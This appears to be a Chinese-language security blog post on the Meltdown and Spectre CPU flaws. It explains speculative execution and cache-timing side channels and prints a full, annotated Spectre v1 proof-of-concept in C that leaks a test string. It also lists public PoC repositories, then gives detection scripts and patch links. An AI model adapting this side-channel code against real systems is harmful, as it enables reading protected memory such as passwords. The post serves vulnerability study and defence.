最近Meltdown和Spectre两个漏洞在各大安全媒体刷屏,堪称年初大戏。本来想好好研究一下这两个漏洞的原理,无奈业界各位大牛各种分析,深感自己写的不如他们通俗易懂。故这篇文章,大部分内容不是自己的研究成果,而是阅读各位大牛漏洞分析文章的一个总结笔记。有些段是原封不动的,若有侵权嫌疑,请联系我。

0x01漏洞原理

1.1CPU缓存验证缺陷

分支预测和乱序执行,是一种CPU优化技术,CPU会执行一些可能在将来会执行的任务。当分支指令发出之后,无相关优化技术的处理器,在未收到正确的反馈信息之前,是不会做任何处理;而具有优化技术能力的新型处理器,可以预测即将执行的指令,会预先处理一些指令所需的数据,例如将下一条指令所需要访问的内存提前加载到CPU缓存中,这就避免了执行具体指令时再去读内存,从而加快了CPU的执行速度,具体流程如下所示:

CPU 优化执行

指令3如果出现问题(如指令3是一个除0或者是一个非法的操作),会触发CPU的异常处理,具体情况如下

CPU异常指令执行

对于具有预测执行能力的新型处理器,在实际CPU执行过程中,指令4所需的内存加载环节不依赖于指令3是否能够正常执行,而且从内存到缓存加载这个环节不会验证访问的内存是否合法有效。即使指令3出现异常,指令4无法执行,但指令4所需的内存数据已加载到CPU缓存中,这一结果导致指令4即使加载的是无权限访问的内存数据,该内存数据也会加载到CPU缓存中,因为CPU是在缓存到寄存器这个环节才去检测地址是否合法,而CPU分支预测仅仅是完成内存到CPU缓存的加载,实际指令4并没有被真正的执行,所以他的非法访问是不会触发异常的。

CPU数据访问权限和地址合法性检查

如上图所示CPU缓存的这个过程对于用户是不可访问的,只有将具体的数据放到CPU的寄存器中用户才可操作,同时用户态程序也没有权限访问内核内存中的数据,因此CPU采用这种逻辑是没有问题的,但是如果有方法可以让我们得到CPU缓存中的数据,那么这种逻辑就存在缺陷。

1.2边信道攻击缓存

CPU缓存通常在较小和较快的内部存储中缓存常用数据,从而隐藏慢速内存访问的延迟,缓存侧信道攻击正是利用CPU缓存与系统内存的读取的时间差异,从而变相猜测出CPU缓存中的数据,结合前边的缓存缺陷部分内容,产生如下的结果:

漏洞原理图

注:简单来说,就是CPU缓存中的数据,在用户态和内核态都是无法正常访问的,除非当CPU缓存中的数据保存到寄存器中时,会被正常的读取;除此之外,是可以通过边信道的方式读取CPU的缓存的。
基于如上介绍的漏洞原理信息,通过CPU缓存验证缺陷,并利用边信道攻击技术可猜测CPU缓存中的数据,继而访问主机的完整内存数据,造成用户敏感信息泄露。

1.3通俗理解

生活实例:新生入学报道(为简化问题,假设今天只有你一个人去学校报道,并且学校工作人员都是250)

开学去学校报道,三个步骤(三条CPU指令):

1
2
3
1)凭借录取通知书去领学号
2)凭借领取到的学号去领寝室号
3)凭借领取到的寝室号去领寝室钥匙

开学了,你捡到一张录取通知书,通知书编号是1001,然后去拿着它去学校报道,报道工作处有三个工作人员甲乙丙。甲负责直接和你交互,甲拿到你的入学通知书后开始查找你的学号,然后填写表格,然后把学号给你

与此同时,工作人员乙拿到甲查到的学号后,去表格中查你对应的寝室号,等甲办完以后直接交给你。

还是与此同时,工作人员丙拿到乙查到的寝室号后开始去库房的钥匙柜架取出你的钥匙放在办公桌(同时,为了避免等会又跑一趟,它把这栋楼这一层的钥匙盒直接拿到办公室了,等会就不用再去库房奔波了),等乙办完以后就交给你。

但是,这个时候,甲发现你身份有问题,这不是你的录取通知书,不能给你办理入学手续,不能把学号给你。于是你被打回。

可是:乙已经提前帮你把对应学号的寝室号取到了(只是还没给你),丙也已经提前帮你把对应寝室的钥匙给你拿到了(只是还没给你)

好,你被拒绝办理入学了,因为你是假冒的

实际上,你已经是在校生了,不是大一新生,刚才你是故意去假冒大一新生去报道。
这个时候,你去丙的办公室借钥匙。往常丙都是说你等一下,我去给你拿,然后会等差不多五分钟,丙给你拿来钥匙。但今天不同的是,今天没有等那么久,而是直接就把钥匙取出来了给你,全程不超过10秒钟。

于是,你明白了,一定是我刚才假冒去甲办理入学的时候,丙把钥匙盒取过来的,于是你意识到:我开始捡到的1001号的录取通知书新生住在我们这栋楼这一层。

于是,你如法炮制,伪造1002,1003,1999···号录取通知书去报道,然后知道了他们每个人住在哪一栋那一层。

0x02漏洞复现

漏洞论文后给了一个POC,我们用他来复现。

它的github地址为:https://github.com/Eugnis/spectre-attack

2.1poc代码注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
/*
modify by:CSZQ
*/
/*配置*/
#define __DEBUG 0 // 调试模式开关,会打开额外输出
#define __TRYTIMES 50 // 每个字符尝试读取次数
/*测试读取的数据*/
#define __MAGICWORDS "1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890"
#define __MAGICWORDSCOUNT (sizeof(__MAGICWORDS) - 1) // 测试数据长度
/*
cache 命中阀值,是一个经验值,不成功9.9可能这里不对,默认值 50 ,可以通过 -t 传参修改
该数值与内存质量、CPU多项参数有关,是一个经验值,下面给出一些基于本帅移动端的 CPU Intel I7-4700MQ 给出的参数取值
取值大致范围:16 - 176
*/
#define CACHE_HIT_THRESHOLD (50)
/*头文件*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <intrin.h>
#pragma optimize("gt",on)
/*全局变量*/
unsigned int array1_size = 16; // 排除 ASCII 码表前 16 个字符
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 }; // 一个字典
uint8_t array2[256 * 512]; // 256 对应 ASCII 码表
const char *secret = __MAGICWORDS; // 测试读取的数据
int iThreshold = CACHE_HIT_THRESHOLD; // 读取时间阀值
/*使用 temp 全局变量阻止编译器优化 victim_function()*/
uint8_t temp = 0;
void victim_function(size_t x) {
/*
x 取值 0 - 15 时 获取 arrary2 的 1 - 16 分组 & temp 后赋值给 temp
temp 一直为 0
发生 evil 分支预测:
array1[x] 在 5 次分支预测时加载的值就是当前需要读取的虚拟地址
array2[array1[x] * 512] 在 5 次分支预测期间读取的是 标准ASCII 0 - 127 * 512 所在地址的 array2 数组内容
其他分支预测:
array1[x] cache 中的是根据尝试次数获取到的正常 array1 数组标准值
array2[array1[x] * 512] 在cache中缓存的是 ASCII 码表 1 - 16 号字符
*/
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256]; // 对应 ASCII 码表
int tries, i, j, k, mix_i;
unsigned int junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t *addr;
for (i = 0; i < 256; i++)
results[i] = 0;
/*每个字符多次尝试获取以增加成功率*/
for (tries = __TRYTIMES; tries > 0; tries--) {
/*清空 array2 的每 512 字节首地址 cache*/
for (i = 0; i < 256; i++)
_mm_clflush(&array2[i * 512]); // _mm_clflush:Invalidate and flush the cache line that contains p from all levels of the cache hierarchy
training_x = tries % array1_size;
/*训练 CPU 缓存需要的数据*/
for (j = 29; j >= 0; j--) {
_mm_clflush(&array1_size); // 清空array1_size的缓存
/*100 次内存取值用作延时,确保 cache 页全部换出*/
for (volatile int z = 0; z < 100; z++) {}
/*
在这一步:
j % 6 = 0 则 x = 0xFFFF0000
j % 6 != 0 则 x = 0x00000000
Avoid jumps in case those tip off the branch predictor
*/
x = ((j % 6) - 1) & ~0xFFFF;
/*
到这里:
j % 6 = 0 则 x = 0xFFFFFFFF
j % 6 != 0 则 x = 0x00000000
*/
x = (x | (x >> 16));
/*
最后:
j % 6 = 0 则 x = malicious_x
j % 6 != 0 则 x = training_x
*/
x = training_x ^ (x & (malicious_x ^ training_x));
/*
调用触发 cache 代码
共计触发 5 次,j = 24、18、12、6、0时,都会触发分支预测
*/
victim_function(x);
}
/*退出此函数时 cache 中已经缓存了需要越权获取的数据*/
/*
读取时间。执行顺序轻微混淆防止 stride prediction(某种分支预测方法)
i 取值 0 - 255 对应 ASCII 码表
*/
for (i = 0; i < 256; i++) {
/*
TODO: 贼NB的数学游戏,值得叫 666
167 0xA7 1010 0111
13 0x0D 0000 1101
取值结果为 0 - 255 随机数且不重复
*/
mix_i = ((i * 167) + 13) & 255;
/*addr 取 arrary2 中 0-255 组的首地址*/
addr = &array2[mix_i * 512];
/*junk 保存 TSC_AUX 寄存器值,time1 保存当前时间戳*/
time1 = __rdtscp(&junk);
/*获取数据,用以测试时间*/
junk = *addr;
/*记录并获取耗时*/
time2 = __rdtscp(&junk) - time1;
/*判断是否命中,且 mix_i 不能取 1 - 16,因为 1 - 16 在获取时是无效的*/
if (time2 <= iThreshold && mix_i != array1[tries % array1_size])
/*cache arrary2中的 0-255 项命中则 +1 分*/
results[mix_i]++;
}
/*获取分组中命中率最高的两个分组,分别存储在 j(最高命中),k(次高命中)里*/
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
}
else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
/*
最高命中项命中次数大于 2 倍加 5 的次高命中项次数
仅仅最高命中项命中 2 次
退出循环,成功找到命中项
*/
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
/*使用 junk 防止优化输出*/
results[0] ^= junk;
value[0] = (uint8_t)j;//最高命中项
score[0] = results[j];//最高命中项命中次数
value[1] = (uint8_t)k;//次高命中项
score[1] = results[k];//次高命中项命中次数
}
int main(int argc, const char **argv) {
size_t malicious_x = (size_t)(secret - (char*)array1); /* 相对地址 */
int i, score[2], iLen = __MAGICWORDSCOUNT, iCount = 0;
char *opt, *addr;
uint8_t value[2];
printf("Provide by CSZQ\n");
/*参数解析*/
if (argc > 1) {
opt = (char*)&argv[1][1];
switch (*opt) {
case 'h':
printf("-h help\n-t 设置阀值,建议取值 16 - 176 之间,默认 50\n");
return 0;
case 't':
if (argc==2) {
sscanf(opt + 1, "%d", &iThreshold);
}
else {
sscanf(argv[2], "%d", &iThreshold);
}
break;
}
}
for (i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* 避免写时复制 */
#if __DEBUG > 0
printf("Reading %d bytes:\n", iLen);
#endif
i = iLen;
while (--i >= 0) {
#if __DEBUG > 0
printf("读取地址:%p ", (void*)malicious_x);
#endif
readMemoryByte(malicious_x++, value, score);
addr = (char*)array1 + malicious_x - 1;
if (value[0] == *addr) {
iCount += (score[0] > 2 * score[1]) ? 1 : 0;
}
#if __DEBUG > 0
/*如果最高命中项命中次数大于等于 2 倍的次高命中项,认为分支预测成功*/
printf("%s: ", (score[0] >= 2 * score[1] ? "成功" : "...."));
printf("value:0x%02X char=%c counts=%d ", value[0],
((value[0] > 31 && value[0] < 127) ? (char)value[0] : '?'), score[0]);
if (score[1] > 0)
printf("(可能:value:0x%02X char=%c counts=%d)", value[1], ((value[0] > 31 && value[0] < 127) ? (char)value[0] : '?'), score[1]);
printf("\n");
#endif
}
/*命中次数超过 1/5 认为存在BUG,过低有可能是巧合或阀值需要调整*/
printf("%s\r\n", (iCount >= __MAGICWORDSCOUNT / 5) ? "--->存在BUG!!!<---" : "--->不存在BUG<---");
printf("%d 阀值下命中率为:%d / %d\r\n", iThreshold, iCount, iLen);
printf("按任意键退出程序...\r\n");
getchar();
return (0);
}

2.2Window平台测试:

Windwos平台复现

2.3Linux平台测试:

  • 操作系统:kali1 (2016-07-21) x86_64
  • 编译器:gcc 6.3.0

Linux平台复现

2.4其他poc汇总

目前网上有很多poc,大家可以下去好好测试一下,最好认真研究大牛们写的代码。

https://github.com/HarsaroopDhillon/SpectreExploit

https://github.com/turbo/KPTI-PoC-Collection

处理器漏洞 Metldown Poc: 从 Google Chrome 中读取密码

https://github.com/RealJTG/Meltdown`

AArch64 硬件平台Spectre PoC(从用户模式读取所有的 ARM 系统寄存器)

https://github.com/lgeek/spec_poc_arm

spectre meltdown poc

https://github.com/mniip/spectre-meltdown-poc

检查 Linux 主机是否受处理器漏洞Spectre & Meltdown 的影响

https://github.com/speed47/spectre-meltdown-checker

Meltdown exploit

https://github.com/paboldin/meltdown-exploit

Meltdown PoC

https://github.com/GitMirar/meltdown-poc

Metldown PoC 收集. 当前包括2个视频, 5个Demo

https://github.com/IAIK/meltdown/

0x03漏洞检测

3.1Windows平台

微软官方出了一个Powershell检测脚本,有两个安装方法,大家自行根据自己的系统和WMF版本来选择合适的方法。

3.1.1方法一

适合Windows Server 2016或者WMF版本是5.0/5.1

(1)安装PowerShell模块
1
PS> Install-Module SpeculationControl
(2)运行验证模块
1
2
3
4
5
6
7
PS> # Save the current execution policy so it can be reset
PS> $SaveExecutionPolicy = Get-ExecutionPolicy
PS> Set-ExecutionPolicy RemoteSigned -Scope Currentuser
PS> Import-Module SpeculationControl
PS> Get-SpeculationControlSettings
PS> # Reset the execution policy to the original state
PS> Set-ExecutionPolicy $SaveExecutionPolicy -Scope Currentuser
3.1.2方法二

适合系统版本或WMF版本比较老

(1)下载并解压好脚本

脚本下载地址:https://aka.ms/SpeculationControlPS

(2)导入并执行验证模块
1
2
3
4
5
6
7
8
PS> # Save the current execution policy so it can be reset
PS> $SaveExecutionPolicy = Get-ExecutionPolicy
PS> Set-ExecutionPolicy RemoteSigned -Scope Currentuser
PS> CD 解压脚本目录
PS> Import-Module .\SpeculationControl.psd1
PS> Get-SpeculationControlSettings
PS> # Reset the execution policy to the original state
PS> Set-ExecutionPolicy $SaveExecutionPolicy -Scope Currentuser

我本机是win7系统,所以选用第二种方法。但在导入验证模块时出错了。

导入报错

这是因为Win7系统默认是Powershell是2.0,得升级版本。我升级到了PowerShell 4.0版本后,就可以成功导入模块并检测了。

检查成功

3.2Linux平台

Linux平台可以使用github上的一个检测脚本。

github地址:https://github.com/raphaelsc/Am-I-affected-by-Meltdown

1
2
3
4
git clone https://github.com/raphaelsc/Am-I-affected-by-Meltdown.git
cd ./Am-I-affected-by-Meltdown
make
./meltdown-checker

存在风险

0x04漏洞修复

4.1Windows操作系统(7/8/10)和Microsoft Edge/IE

下载地址:https://www.catalog.update.microsoft.com/Search.aspx?q=KB4056892

4.2火狐浏览器

Mozilla发布了Firefox版本57.0.4,其中包括针对Spectre(幽灵)和Meltdown(熔毁)攻击的缓解措施。建议用户尽快更新安装。

下载链接为:https://www.mozilla.org/en-US/security/advisories/mfsa2018-01/

4.3Google Chrome浏览器

4.4Linux

Linux内核开发者还发布了Linux内核的补丁。包括版本:4.14.11,4.9.74,4.4.109,3.16.52,3.18.91,3.2.97

下载链接:https://www.kernel.org/

(1)RedHat已发布补丁

https://access.redhat.com/security/vulnerabilities/speculativeexecution?sc_cid=701f2000000tsLNAAY

(2)Ubuntu:已提供修复补丁

https://insights.ubuntu.com/2018/01/04/ubuntu-updates-for-the-meltdown-spectre-vulnerabilities/

(3)SUSE:已陆续发布补丁

https://www.suse.com/support/kb/doc/?id=7022512

4.5VMware

https://www.vmware.com/us/security/advisories/VMSA-2018-0002.html

0x05参考资料

处理器A级漏洞Meltdown(熔毁)和Spectre(幽灵)分析报告

通俗理解这次的CPU漏洞

最近比较火的CPU漏洞解析,附带修改过带注释源码一份

CPU特性漏洞测试POC(Meltdown and Spectre)